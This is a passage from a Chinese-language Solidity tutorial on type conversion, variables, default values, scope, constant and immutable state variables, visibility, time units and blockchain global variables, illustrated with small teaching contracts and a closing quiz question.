,不可以使用 memeory.,
聊一下众筹合约的实现逻辑
类型转换
隐式转换的方式有哪些?
隐式转换的场景: 在赋值, 参数传递给函数以及应用运算符时。
隐式转换的场景:
可以进行值类型之间的隐式转换
不会丢失任何信息
例如,
uint8
可以转换为uint16
/uint24
../uint256
,因为uint8
是uint16
这些类型的子集。但是int8
不可以转换为uint256
,因为int8
可以包含uint256
中不允许的负值,比如-1
。
显示转换有哪些需要注意的?
uint8
-uint256
之间转换的原理bytes1
-bytes32
之间转换的原理整型加大数据位置是从左侧增加,减小数据位置也是从左侧移除;(整型是右对齐)
字节加大数据位置是从右侧增加,减小数据位置也是从右侧移除;(字节是左对齐)
聊一聊 int/uint 类型之间的转换
因为整型加大数据位置是从左侧增加,减小数据位置也是从左侧移除;(整型是右对齐)
整型转换成更大的类型,从左侧添加填充位。
整型转换成更小的类型,会丢失左侧数据。
聊一聊 bytes 字节类型之间的转换
因为字节加大数据位置是从右侧增加,减小数据位置也是从右侧移除;(字节是左对齐)
字节转换为更大的类型时,从右侧添加填充位。
字节转换到更小的类型时,丢失右侧数据。
bytes
与uint
转换bytes 转换成 uint: 先转类型,再转大小
uint 转换成 bytes: 先转大小,再转类型
bytes
与address
转换address 的格式是
0xffD0d80c48F6C3C5387b7cfA7AA03970bdB926ac
,是一个 bytes20 的数据.而由字符串生成 bytes 的方式是
keccak256(abi.encodePacked())
,返回的是bytes32
类型。地址是取bytes32
数据中的后 20 位。如果删除前面的 12 位数据,可以使用 solidity assembly (内联汇编) 来截取,也可以借助uint
转换成更小的类型,会丢失左侧数据的特性来完成。
uint
与address
转换bytes
与bytes32
之间的转换创建长度,for 循环
字面常量与基本类型的转换
十进制和十六进制字面常量之间的转换需要注意什么问题?
只有在匹配数据范围时,才能进行隐形转换,如果超出,不会截断,而是报错。
变量
上一章我们学习了 Solidity 中的数据知识,数据是编程语言的生产生活资料,而变量是数据的代言人。我们在 Solidity 中很多时候不直接使用数据,而是使用变量外表示数据。数据作为最基础的生产资料,而变量作为代言人,同样非常重要。
Solidity 是一种静态类型语言,这意味着每个变量(状态变量和局部变量)都需要在编译时指定变量的类型。
变量基础知识
回顾一下前面两章提到的变量:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
contract DataTypes {
string public myString = "hello world";
bool public b = true;
uint256 public u = 123;
int256 public i = -123;
int256 public minInt = type(int256).min; // 获取最小值
int256 public maxInt = type(int256).max; // 获取最大值
address public ads = 0xffD0d80c48F6C3C5387b7cfA7AA03970bdB926ac;
bytes32 public bys32 = "abc";
}
初始默认值
Solidity 是一种静态类型语言,这意味着需要在声明期间指定变量类型。
在 Solidity 中没有 null 或者 undefined 的概念,但是新声明的变量总是有一个默认值,具体的默认值跟类型相关,比如 int 类型的默认值为 0。每个变量声明时,都有一个基于其类型的默认值。
默认值的两个要点
Solidity 智能合约中所有的变量,都有默认值,没有 null 或者 undefined 的概念。
这些变量在没有被赋值之前,它的值已默认值的形式存在。
例子演示
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
contract DefaultValues {
string public str; // ""
bool public b; // false
int256 public intValue; // 0
uint256 public count; // 0
address public ads; // 0x0000000000000000000000000000000000000000
// 0x0000000000000000000000000000000000000000000000000000000000000000
bytes32 public bt32;
// array
uint256[] public arr;
// enum
enum Status {
None,
Pending,
Shiped,
Completed,
Rejected,
Canceled
}
Status public status;
function getArr() external view returns (uint256[] memory) {
return arr;
}
}
默认值总结
string:
""
bool:
false
int256:
0
uint256:
0
address:
0x0000000000000000000000000000000000000000
bytes32:
0x0000000000000000000000000000000000000000000000000000000000000000
enum:
0
动态数组:
[]
定长数组: 每个元素的默认值
mapping
/strucr
均为所在类型的默认值
上述的这些值也可以通过 delete
操作符来实现,详细参考 delete 操作赋,在数据那一章也多次提到通过delete
操作符来使指定元素恢复默认值。
作用域和声明
Solidity 中的作用域规则遵循了 C99:
作用域的规则
变量将会从它们被声明之后可见,直到一对
{}
块的结束。对于参数形式的变量(例如:函数参数、修饰器参数、catch 参数等等)在其后接着的代码块内有效。
这些代码块是函数的实现,catch 语句块等。
有一个例外,在 for 循环语句中初始化的变量,其可见性仅维持到
for
循环的结束。
那些定义在代码块之外的变量,比如函数、合约、自定义类型等等,并不会影响它们的作用域特性。
意味着你可以在实际声明状态变量的语句之前就使用它们,并且递归地调用函数。
例子演示
基于上面总结规则,下边的例子两个变量虽然名字一样,但却在不同的作用域里。
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
contract C {
function minimalScoping() public pure returns (uint256) {
uint256 same;
{
uint256 same;
same = 1;
}
{
uint256 same;
same = 3;
}
return same;
}
}
作为 C99 作用域规则的特例,请注意在下边的例子里,第一次对 x 的赋值会改变上一层中声明的变量值。
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
contract C {
function f() public pure returns (uint256) {
uint256 x = 1;
{
// This declaration shadows an existing declaration.
x = 2; // 这个赋值会影响在外层声明的变量
// Unused local variable.
uint256 x;
}
return x; // x has value 2
}
}
在 Solidity 中,如果在内部作用域中使用和外层相同的变量名,会收到警告信息。这种警告是告诉开发者外层声明的变量被“覆盖”
了,谨慎检查下是不是期望的。
上面例子中的 f 函数的 return 值 可以改写为下面的:
function f() public pure returns (uint256 x) {
x = 1;
{
x = 2;
uint256 x;
}
}
必须先声明再赋值
在 Solidity 现在的版本中,变量必须先声明再赋值,顺序不能倒。
0.5.0 版本之前,一个变量声明在函数的任意位置,都可以使他在整个函数范围内可见。从 0.5.0 版本开始以后就不能这样了。
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
contract C {
// ✅
function t() public pure returns (uint256) {
uint256 x;
x = 2;
return x;
}
// ❌
function f() public pure returns (uint256) {
// DeclarationError: Undeclared identifier.
// "x" is not (or not yet) visible at this point.
x = 2;
uint256 x;
return x;
}
}
合约外定义的类型和函数
合约外面可以定义函数和数据结构
定义在合约外面的函数,叫自由函数
定义在合约外面的类型,可以被多个合约使用
不可以定义变量
但是可以定义常量,常量那一节有介绍
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
// 结构:
// 定义在合约外面
// 可以被多个合约同时使用
struct Book {
string title;
string author;
uint256 book_id;
}
// 自由函数:
// 定义在合约外面
// 没有可见性
function getBalance() view returns (uint256) {
return address(msg.sender).balance;
}
function add(uint256 a_, uint256 b_) pure returns (uint256) {
return a_+b_;
}
contract Demo1 {
Book public book1 = Book("Solidity", "Anbang", 1);
function f() public view returns (uint256) {
return getBalance();
}
function test() public pure returns (uint256) {
return add(100,200);
}
}
contract Demo2 {
Book public book2 = Book("Solidity 2", "Anbang", 2);
}
变量的三种状态
按作用域划分,状态可以分为下面三种状态:
状态变量:
变量值永久保存在智能合约存储空间中,相当于属于已经写入到区块链中,可以随时调用,除非该条链消失。
特点:定义在智能合约的存储空间中
局部变量:
变量值仅在函数执行过程中有效,供函数内部使用;调用函数时,在虚拟机的内存中;函数退出后,变量无效。类似”闭包”的特性。
特点: 定义在函数内部
全局变量:
保存在全局命名空间,用于获取区块链相关信息的特殊变量。
特点:存在于 EVM 虚拟机中,不用定义,直接获取即可。
状态变量
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
contract Var{
uint256 public myUint = 123;
function changeMyUint (uint256 x) external returns (uint256 ){
myUint = x;
return myUint;
}
}
局部变量
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
contract Var{
function test() external pure returns (uint256){
uint256 local = 2;// 局部变量
return local;
}
}
全局变量
msg.sender
msg.value
block.timestamp
block.number
先简单了解下,后面会有一节进行详细介绍。
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
contract Demo1 {
address public owner = msg.sender; // 在状态变量中使用
// 在函数内使用
function global() external view returns(address,uint256,uint256){
return(msg.sender,block.timestamp,block.number);
}
}
msg.sender:表示当前调用方法时的发起人。
一个智能合约既可以被合约创建者调用,也可以被其它人调用。合约创建者,即合约拥有者,也就是指合约部署者,如何判断合约的拥有者? 第一次部署的时候进行定义,即在构造函数中定义:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
contract Test {
address public _owner;
constructor() {
_owner = msg.sender;
}
}
Constant 常量
普通变量与常量:普通的状态变量,添加
constant
关键词即可声明为常量与常规状态变量相比,常量的 gas 要低很多。
常量名字一般使用全大写。
常量赋值后不可以修改。
常量必须声明和初始化一起做掉,否则编译不通过。
常量的值储存原理
常量的值在编译器确定,因为在编译器确定,所以不能定义在函数内。
编译器并不会为
constant
常量在storage
上预留空间,它们的每次出现都会被替换为相应的常量表达式(它可能被优化器计算为实际的某个值)。因为不是储存在
storage
上,所以函数内读取常量不算view
,可以使用 pure因为不是储存在
storage
上,所以可以在任意位置定义常量,比如在合约外面也可以在文件级别定义 constant 变量(0.7.2 之后的特性)。
引用类型只支持字符串
不是所有的类型都支持常量,当前支持的仅有值类型(包括地址类型)/字符串。
可以使用内建函数赋值常量
普通变量与常量
普通的状态变量,添加 constant
关键词即可声明为常量
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
contract Demo1 {
string name1 = "Anbang";
string constant name2 = "Anbang";
}
常量相比变量更省钱
与常规状态变量相比,常量的 gas 要低很多。
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
contract Demo1 {
// 24465
string public name1 = "Anbang";
// 21793
string public constant name2 = "Anbang";
}
常量名字一般使用全大写
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
contract Demo1 {
string public constant NAME = "Anbang";
}
常量赋值后不可以修改
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
contract Demo1 {
string public name = "Anbang";
string public constant NAME = "Anbang";
function set1() external{
name = "Anbang Chu";
}
// function set2() external{
// // Cannot assign to a constant variable.
// NAME = "Anbang Chu";
// }
}
常量必须声明和初始化一起做掉
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
contract Demo1 {
// Uninitialized "constant" variable.
string public constant NAME;
}
常量的值储存原理
常量的值在编译器确定,因为在编译器确定,所以不能定义在函数内。
编译器并不会为
constant
常量在storage
上预留空间,它们的每次出现都会被替换为相应的常量表达式(它可能被优化器计算为实际的某个值)。因为不是储存在
storage
上,所以函数内读取常量不算view
,可以使用 pure因为不是储存在
storage
上,所以可以在任意位置定义常量,比如在合约外面也可以在文件级别定义 constant 变量(0.7.2 之后的特性)。
不能定义在函数内
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
contract Demo1 {
// The "constant" keyword can only be used for state variables
// or variables at file level.
function getName() external pure returns(string memory){
string memory constant NAME = "Anbang";
return NAME;
}
}
函数内读取常量不属于 view
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
contract Demo1 {
string public constant NAME = "Anbang1";
string public name = "Anbang2";
function getName() external view returns(string memory){
return name;
}
function getNAME() external pure returns(string memory){
return NAME;
}
}
可以在合约外面定义常量
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
string constant NAME = "Anbang1";
contract Demo1 {
function getNAME() external pure returns(string memory){
return NAME;
}
}
常量可以定义在文件中
info.sol
文件
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
string constant NAME1 = "Anbang1";
string constant NAME2 = "Anbang2";
demo.sol
文件:引用 info 文件。
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
import "./info.sol" as INFO;
contract Demo1 {
function getNAME() external pure returns(string memory){
return INFO.NAME1;
}
}
引用类型支持 string 和 bytes
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
contract Demo {
// string <=> bytes
string public constant NAME1 = "Anbang1";
bytes public constant NAME2 = "Anbang1";
// Only constants of value type and byte array type are implemented.
// uint256[] public constant NAME3 = [1,2,3];
}
常见的赋值方式
如果状态变量声明为 constant
(常量)。在这种情况下,只能使用那些在编译时有确定值的表达式来给它们赋值。
允许可能对内存分配产生 side effect(副作用)的表达式,但那些可能对其他内存对象产生副作用的表达式则不允许。
内建(built-in)函数
keccak256
,sha256
,ripemd160
,ecrecover
,addmod
和mulmod
是允许的(即使他们确实会调用外部合约,keccak256
除外)。允许内存分配器的副作用的原因是它可以构造复杂的对象,例如:查找表(lookup-table)。 此功能尚不完全可用。
运算符赋值
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
contract Demo1 {
uint256 public constant VERSION = 1+1;
// 100个ETH
// 100000000000000000000
uint256 public constant VALUE = 100 * 10**18; // 运算符赋值
// 1小时
uint256 public constant H = 60 * 60;
}
使用 address
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
contract Demo {
address public constant ZERO = address(0);
}
密码学函数赋值
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
contract C {
uint256 public constant a = addmod(4, 5, 3);
uint256 public constant b = mulmod(4, 5, 3);
bytes32 public constant c1 = sha256("Hello");
bytes32 public constant c2 = ripemd160("Hello");
bytes32 public constant myBytes32 = keccak256("Hello");
}
禁止的一些赋值
不允许使用状态变量/区块链数据来赋值,也不允许外部合约调用来赋值。
任何通过访问 storage,区块链数据(例如
block.timestamp
,address(this).balance
或者block.number
)或执行数据(msg.value
或gasleft()
) 或对外部合约的调用来给它们赋值都是不允许的。
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
contract Demo {
address public ads1 = msg.sender;
// address public constant ads2 = msg.sender;
}
Immutable 不可变量
上一节我们学习了常量,常量的值是在编译器确定,因为在编译器确定,常量必须声明和初始化一起做掉,否则编译不通过。这就给很多只需要一次赋值,但是又必须需要动态赋值的场景带来了不变。比如合约的 owner 地址等场景。
然后上面的苦恼,可以通过不可变量来解决。如果我们想要一个变量,赋值后就不可以修改,而且值是部署时候动态赋值,那么可以使用不可变量的类型。通过 immutable
关键字可以声明为不可变量,不可变量的限制要比声明为常量(constant
) 的变量的限制少:
不可变量可以声明和赋值一起做掉,也可以 storage 中声明,在合约的构造函数中赋值。无论在哪里赋值,只能赋值一次,也带来更多的安全性。
原理: 在部署的时候确定变量的值,它是一个运行时赋值。
扩展了解: 如果要将编译器生成的运行时代码与实际存储在区块链中的代码进行比较,需要明白:编译器生成的合约创建代码将在返回合约之前修改合约的运行时代码,方法是将对不可变量的所有引用替换为分配给它们的值。
特点:它既有 constant 常量不可修改和 Gas 费用低的优势,又有变量动态赋值的优势。
Solidity
immutable
是另一种常量的表达方式。
原则:
immutable
可以声明和初始化一起做掉,也可以部署时在constructor
中做掉。immutable
必须在constructor
运行截止时就赋值immutable
不能用在引用数据类型上当前
constant
支持字符串,immutable
不支持字符串
应用场景:
在创建不可转移的
owner
时在创建 ERC20 的
name
,symbol
,decimals
时
声明和初始化一起做掉
像常量一样赋值:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
contract Demo {
uint256 public constant U1 = 123;
uint256 public immutable u2 = 456;
}
声明后在 constructor
中赋值
constructor 正常赋值
address public immutable adsImmut;
constructor() {
adsImmut = msg.sender;
}
constructor 参数赋值
赋值 owner 例子:
address public immutable adsImmut;
constructor(address _owner) {
adsImmut = _owner;
}
使用参数的属性:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
contract C {
uint256 public immutable decimals;
uint256 public immutable maxBalance;
constructor(uint256 decimals_, address ref) {
decimals = decimals_;
// 可以访问属性
maxBalance = ref.balance;
}
}
constructor 内使用函数的结果赋值
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
contract C {
uint256 public immutable decimals;
constructor() {
decimals = get();
}
function get() internal pure returns(uint256){
return 18;
}
}
部署后不可以修改
注意点:不可变量只能赋值一次,以后就不能再次改变了
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
contract A {
address public immutable adsImmut;
address public immutable ads = address(0);
constructor() {
adsImmut = msg.sender;
// Immutable state variable already initialized.
// ads = msg.sender;
}
// immutable 部署后不可以修改,如果尝试修改immutable类型变量,会报错
// Cannot write to immutable here: Immutable variables can only
// be initialized inline or assigned directly in the constructor.
// function changeImmutable() external {
// adsImmut = msg.sender;
// }
}
不可以在赋值前读取
并且在赋值之后才可以读取 immutable 变量,如果赋值之前读取会报错。
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
contract A {
address public immutable adsImmut;
address public ads;
constructor() {
// Immutable variables cannot be read before they are initialized.
// ads = adsImmut;
adsImmut = msg.sender;
ads = adsImmut;
}
}
不可以在 constructor
之外赋值其他不可变量
不可变量可以在声明时赋值,不过只有在合约的构造函数执行时才被视为视为初始化。这意味着,你不能用一个依赖于不可变量的值初始化另一个不可变量。
因为不可变量在构造函数中才真正赋值,所以在合约的构造函数中这样做。这样的机制是为了防止对状态变量初始化和构造函数顺序的不同解释,特别是继承时,出现问题。
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
contract Demo {
uint256 public a1 = 1;
uint256 public a2 = a1;
uint256 public immutable b1 = 1;
// Immutable variables cannot be read before they are initialized.
// uint256 public b2 = b1;
uint256 public b2;
uint256 public immutable b3;
constructor() {
b2 = b1;
b3 = b1;
}
}
核心:在部署的时候确定变量的值,它是一个运行时赋值。
immutable
不能用在引用数据类型
当前constant
支持引用类型中的 string
和 bytes
,immutable
不支持任何引用数据类型
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
contract Demo {
string public constant TEXT1 = "abc";
// string public immutable TEXT2 = "abc"; // ❌
bytes public constant BYTES1 = "abc";
// bytes public immutable BYTES2 = "abc"; // ❌
// Immutable variables cannot have a non-value type.
// mapping(address => uint256) public immutable mp;
struct Book {
string title;
string author;
uint256 book_id;
}
// Immutable variables cannot have a non-value type.
// Book public immutable book1; // 一本书
}
不同状态变量的 gas 对比
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
contract A {
// 23597 gas
address public ads1 = 0x5B38Da6a701c568545dCfcB03FcB875f56beddC4;
// 21486 gas
address public constant MY_ADDRESS =
0x5B38Da6a701c568545dCfcB03FcB875f56beddC4;
// 21442 gas
address public immutable adsImmut1 =
0x5B38Da6a701c568545dCfcB03FcB875f56beddC4;
// 21420 gas
address public immutable adsImmut2;
constructor() {
adsImmut2 = msg.sender;
}
}
状态变量:
23597
gas常量:
21486
gas不可变量:
21442
gas
备注: 修改变量顺序,或者声明变量的数量,也会影响 gas 的消耗。可以自己亲自测试下。
通过对比可以发现,它既有 constant 常量不可修改和 Gas 费用低的优势,又有变量动态赋值的优势。
不可变变量在构造时进行一次求值,并将其值复制到代码中访问它们的所有位置。 对于这些值,将保留 32 个字节,即使它们适合较少的字节也是如此。很多时候常量的 gas 更低。下面是 uint8 类型的例子
contract Demo {
// 23532 gas
uint8 public u1 = 1;
// 21377
uint8 public constant U2 = 1;
// 21421
uint8 public immutable u2 = 1;
// 21443
uint8 public immutable u3;
constructor(){
u3 = 1;
}
}
constant 和 immutable 总结
值的确定时机不同
状态变量声明为 constant (常量)或者 immutable (不可变量),在这两种情况下,合约一旦部署之后,变量将不在修改。
对于 constant 常量, 他的值在编译器确定.
对于 immutable, 它的值在部署时确定。
gas 不同
与常规状态变量相比,常量和不可变量的 gas 成本要低得多。
对于常量,赋值给它的表达式将复制到所有访问该常量的位置,并且每次都会对其进行重新求值。这样可以进行本地优化。
不可变变量在构造时进行一次求值,并将其值复制到代码中访问它们的所有位置。 对于这些值,将保留 32 个字节,即使它们适合较少的字节也是如此。很多时候常量的 gas 更低。
如果可以使用常量的时候,推荐使用常量。
支持的数据不同
不是所有类型的状态变量都支持用 constant
或 immutable
来修饰
当前
constant
仅支持值类型和引用类型中的 string 和 bytesimmutable
仅支持值类型
变量名的命名规则
在为变量命名时,请记住以下规则:
禁止使用保留关键字作为变量名。
变量名首字母禁止使用数字,必须以字母或下划线开头。
变量名大小写敏感。
禁止使用保留关键字作为变量名
禁止使用保留关键字作为变量名。例如:break
/ boolean
/ contract
这些是无效的变量名。
abstract
after
alias
apply
auto
case
catch
copyof
default
define
final
immutable
implements
in
inline
let
macro
match
mutable
null
of
override
partial
promise
reference
relocatable
sealed
sizeof
static
supports
switch
try
typedef
typeof
unchecked
变量名必须以字母或者下划线开头
禁止使用数字作为变量名的开始,例如:123abc
是一个无效的变量名,但是 _123abc
是一个有效的变量名。
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
contract Demo {
uint8 public abc = 1;
uint8 public _123abc = 1;
// Expected identifier but got 'ILLEGAL'
uint8 public 123abc = 1;
}
变量名大小写敏感
例如:Name 和 name 是两个不同的变量。
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
contract Demo {
string public name = "Anbang";
string public constant Name = "Anbang";
}
变量的可见性
可见性仅存在于状态变量和函数中
局部变量的可见性仅限于定义它们的函数,函数有四可见型,分别是
private
/external
/internal
/public
状态变量可以有三种可见型,分别是
private
/internal
/public
我们这里重点介绍状态变量可见型。
internal 和 private 类型的变量不能被外部访问,而 public 变量能够被外部访问。
警告: 设置为 private
或 internal
,只能防止其他合约读取或修改信息,但它仍然可以在链外查看到。你不要想着通过设置可见型,让别人看不到你的代码。反编译可以得到大部分需要的逻辑。
private
private: 私有,仅在当前合约中可以访问
在继承的合约内不可访问,私有状态变量就像内部变量一样,但它们在派生合约中是不可见的。
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
contract Demo {
uint8 private a = 1;
// 这里使用 view 不是 pure
// 不能因为 private 对外不可见就想着用pure,
// 这个状态可变形是根据存储空间来决定的
function getA() public view returns(uint8){
return a;
}
}
internal
internal: 内部可视(合约内部和被继承的子合约中都可视)
状态变量如果不显示声明,默认是 internal 权限
内部可见性状态变量只能在它们所定义的合约和派生合同中访问。 它们不能被外部访问。 这是状态变量的默认可见性。
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
contract Demo {
uint8 internal a = 1;
function getA() public view returns(uint8){
return a;
}
}
external
external: 外部可视(合约外部可视,在内部是不可见)
external
不能声明在状态变量上,只能标识在函数上,因为如果一个状态变量在合约自身如果没有办法读取的话,那就没有存在的必要了。
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
contract Demo {
uint8 external a = 1;
}
public
public: 公开可视(合约内部,被继承的,外部都可以调用)
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
contract Demo {
uint8 public a = 1;
function getA() public view returns (uint8) {
return a;
}
}
public 自动生成 getter 函数
编译器自动为所有 public 状态变量创建 getter 函数.
值类型
例子:通过其他合约访问
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
contract Demo {
uint8 public a = 1;
}
contract Caller {
Demo demo = new Demo();
function f() public view returns(uint8 local){
local = demo.a();
}
}
例子:合约自身的两种访问
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
contract Demo {
uint8 public a = 1;
function x() public returns(uint8 val){
a = 3; // 内部访问
val = this.a(); // 外部访问
}
}
getter 函数具有外部(external
)可见性。
如果在内部访问 getter(即没有
this.
),它被认为一个状态变量。如果使用外部访问(即用
this.
),它被认作为一个函数。
引用类型
数组:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
contract Demo {
uint256[] public myArray=[1,2,3];
// 指定生成的Getter 函数
// function myArray(uint256 i) external view returns (uint256) {
// return myArray[i];
// }
}
字符串:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
contract Demo {
string public str = "abc";
// 指定生成的Getter 函数
// function str() external view returns(string memory s_){
// return str;
// }
}
mapping 和 struct 的 getter 函数
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
contract Demo {
struct Data {
uint256 a;
bytes3 b;
mapping (uint256 => uint256) map;
uint256[3] c;
uint256[] d;
bytes e;
}
mapping (uint256 => mapping(bool => Data[])) public data;
// function data(uint256 arg1, bool arg2, uint256 arg3)
// external
// returns (uint256 a, bytes3 b, bytes memory e)
// {
// a = data[arg1][arg2][arg3].a;
// b = data[arg1][arg2][arg3].b;
// e = data[arg1][arg2][arg3].e;
// }
}
在结构体内的映射和数组(byte 数组除外)被省略了,因为没有好办法为单个结构成员或为映射提供一个键。
全局:时间单位
在做时间相关业务时候可以使用 分钟,小时,天,周的概念。
基本用法
秒是缺省时间单位,可以不写,在时间单位之间,数字后面带有 seconds
、 minutes
、 hours
、 days
、 weeks
可以进行换算,基本换算关系如下:
1 == 1 seconds
1 minutes == 60 seconds
1 hours == 60 minutes
1 days == 24 hours
1 weeks == 7 days
之前老版本的合约还有 years
的概念,现在已经不再用了,从 0.5.0 版本不支持使用 years
了。
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
// Time
contract Demo {
// 定义全局变量
uint256 public time;
constructor() {
time = 100000000;
}
function fSeconds() public view returns (uint256) {
return time + 1 seconds;
}
function fMinutes() public view returns (uint256) {
return time + 1 minutes;
}
function fHours() public view returns (uint256) {
return time + 1 hours;
}
function fDays() public view returns (uint256) {
return time + 1 days;
}
function fWeeks() public view returns (uint256) {
return time + 1 weeks;
}
// 这些后缀不能直接用在变量后边。
// 如果想用时间单位来将输入变量换算为时间,你可以用如下方式来完成:
function testVar(uint256 daysValue) public view returns (uint256) {
return time + daysValue * 1 weeks;
}
}
两种时间逻辑
注意:由于闰秒造成的每年不都是 365 天、每天不都是 24 小时,所以如果你要使用这些单位计算日期和时间,请注意这个问题。因为闰秒是无法预测的,所以需要借助外部的预言机来对一个确定的日期代码库进行时间矫正。
时间在项目中有两种逻辑
像之前众筹合约里介绍的那样,使用持续时间来代表时间。比如持续 2 两小时结束,常见于众筹/拍卖合约
到某个时间点开始抢购活动,比如到 XX 年 XX 月 XX 日 XX 分 XX 秒,开启抢购,这种需要借助预言机才能正确完成
请按照自己的业务需求选择合适的时间方式。
全局:区块和交易属性
分别是 block
/ msg
/ tx
三个全局变量,因为功能相似,我们把 blockhash()
和 gasleft()
这两个全局函数也一起介绍。
预览
名称 (返回值) | 返回 |
---|---|
block.basefee (uint256) | 当前区块的基本费用( EIP-3198 和 EIP-1559) |
block.chainid (uint256) | 当前链 id |
block.difficulty (uint256) | 当前区块的难度 |
block.gaslimit (uint256) | 当前区块的 gaslimit |
block.number (uint256) | 当前区块的 number |
block.timestamp (uint256) | 当前区块的时间戳,为 unix 纪元以来的秒 |
block.coinbase (address payable) | 当前区块矿工的地址 |
msg.sender (address) | 消息发送者 (当前 caller) |
msg.value (uint256) | 当前消息的 wei 值 |
msg.data (bytes calldata) | 完整的 calldata |
msg.sig (bytes4) | calldata 的前四个字节 – (function identifier/即函数标识符) |
tx.gasprice (uint256) | 交易的 gas 价格 |
tx.origin (address) | 交易的发送方 (完整的调用链) |
blockhash(uint256 blockNumber) returns (bytes32) | 给定区块的哈希值 – 只适用于 256 最近区块, 不包含当前区块 |
gasleft() returns (uint256) |
剩余 gas |
block
全局变量 block,除了 coinbase 属性的返回值是 address 类型,其他都是 uint256。
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
contract Demo {
// payable address 类型
address payable public ads;
function blockInfo() public
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256,
address
)
{
uint256 basefee = block.basefee;
uint256 chainid = block.chainid;
uint256 difficulty = block.difficulty;
uint256 gaslimit = block.gaslimit;
uint256 number = block.number;
uint256 timestamp = block.timestamp;
// 除了 coinbase 返回值是 payable address 类型,其他都是 uint256
address coinbase = block.coinbase;
ads = block.coinbase; // 赋值给 payable address 的变量
return (
basefee,
chainid,
difficulty,
gaslimit,
number,
timestamp,
coinbase
);
}
}
msg
msg.sender: 只能赋值给普通 address 的变量
msg.value: 必须用在 payable 函数上
msg.data: 如果函数不接受参数 msg.data 等于 sig
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
contract Demo {
address payable public ads1;
address public ads2;
function msgInfo(uint256 u_)
public
payable
returns (
uint256,
bytes memory,
bytes4
)
{
ads2 = msg.sender; // 只能赋值给普通 address 的变量
uint256 value = msg.value; // 必须用在 payable 函数上
bytes memory data = msg.data; // 如果函数不接受参数 msg.data 等于 sig
bytes4 sig = msg.sig;
return (value,data,sig);
}
}
tx
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.7;
contract Demo {
address payable public ads1;
address public ads2;
function txInfo() public returns (uint256) {
ads2 = tx.origin; // 只能赋值给普通 address 的变量
uint256 gasprice = tx.gasprice;
return gasprice;
}
}
blockhash()
这是获取最近 256 个区块高度的 hash 值,如果获取当前的区块 hash 是没办法获取到的。(因为当前的数据还没有被打包,没有被确定)
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.7;
contract Demo {
uint256 public blockNumber;
function blockInfo1() public returns (uint256, bytes32) {
blockNumber = block.number;
bytes32 hashCurrent = blockhash(blockNumber); // 不包含当前区块
return (block.number, hashCurrent);
}
function blockInfo2() public view returns (uint256, bytes32) {
bytes32 hash = blockhash(blockNumber);
// errored: Key not found in database [h n]
return (block.number, hash);
}
}
gasleft()
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.7;
contract Demo {
function gas() public view returns (uint256) {
return gasleft();
}
}
已经删除的全局变量
名称 | 返回 |
---|---|
block.blockhash |
给定区块的哈希值;在 0.5.0 版本中删除,现使用blockhash() 获取 |
now(uint256) |
block.timestamp 的别名;在 0.7.0 版中删除 |
msg.gas |
剩余 gas; 在 0.5.0 版中删除,现使用 gasleft() 获取 |
使用注意
不要依赖 block.timestamp
和 blockhash
产生随机数,除非你已经知道后果,并且后果对项目没有影响。
时间戳和区块哈希在一定程度上都可能受到挖矿矿工影响。例如,某个抽奖合约使用 block.timestamp
或 blockhash
产生随机数,但是恶意矿工可以进行一直发起,如果他们没有中奖就取消交易,只需重试不同的交易就可以刷出中奖的交易并且发出去。
当前区块的时间戳会严格大于最后一个区块的时间戳,但是这里唯一能确保的: 它会是在权威链上的两个连续区块的时间戳之间的数值。
问答题
不同类型的变量初始默认值是什么?
string public str; // "" bool public b; // false uint256 public count; // 0 int256 public intValue; // 0 address public ads; // 0x0000000000000000000000000000000000000000 bytes32 public bt32; // 0x0000000000000000000000000000000000000000000000000000000000000000
